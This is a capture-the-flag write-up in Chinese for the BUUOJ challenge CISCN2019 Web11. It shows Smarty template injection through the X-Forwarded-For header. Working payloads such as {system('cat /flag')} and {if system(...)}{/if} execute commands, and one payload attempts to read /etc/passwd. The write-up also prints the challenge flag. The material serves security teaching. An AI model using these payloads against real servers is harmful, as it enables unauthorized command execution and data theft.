题目名:[CISCN2019 华东南赛区]Web11
作者:Hopeace
靶场地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA]Web11
知识点:Smarty模板注入,注入点的选取
0x01浏览题目
Ip Address API 应该是一个查看IP的接口
Why use?第一个是越权访问,第二个是隐藏个人信息
Api Usage
- | API URI | Type | Sample Output |
---|---|---|---|
get IP | http://node4.buuoj.cn:29602/api | text/html | 8.8.8.8 |
get XFF(X-Forwarded-For) | http://node4.buuoj.cn:29602/xff | text/html | 8.8.8.8 |
Request-Header
GET / HTTP/2.0
Host: www.ip.la
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8
Cache-Control: max-age=0
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
右上角调用了我们的Ip信息
Current IP:113.247.230.213
页面最底下是相关模板信息
Build With Smarty !
0x01 分析题目
关键词有Smarty , IP , XFF
自然是先去搜索模板注入,看能不能利用注入修改ip等头文件信息
Smarty模板注入
Smarty 旧版本中有{php}phpinfo(){/php}
Php5 里有
Literal标签
{literal} {/literal}
if标签
{if phpinfo()}{/if}
抓包测试
网页中的8.8.8.8明显是我请求头中的X-Forwarded-For
修改为{7*7}
看到回显49
则证明存在模板注入
{system(‘ls /’)} 查看根目录
发现了flag
{system(‘cat /flag’)}
flag{a2fdf7d1-8db7-4d94-bd62-7c9b44e59afd}
0x03题目补充
{$smarty.version}查看版本号
3.1.30
{literal} {/literal}
没有想要的回显
静态方法
{self::getStreamVariable(“file:///etc/passwd”)}
也不适用于此版本
{if system(‘ls /’)}{/if}
得到了回显,也就是说
{if system(‘cat /flag’)}{/if}也可以成功执行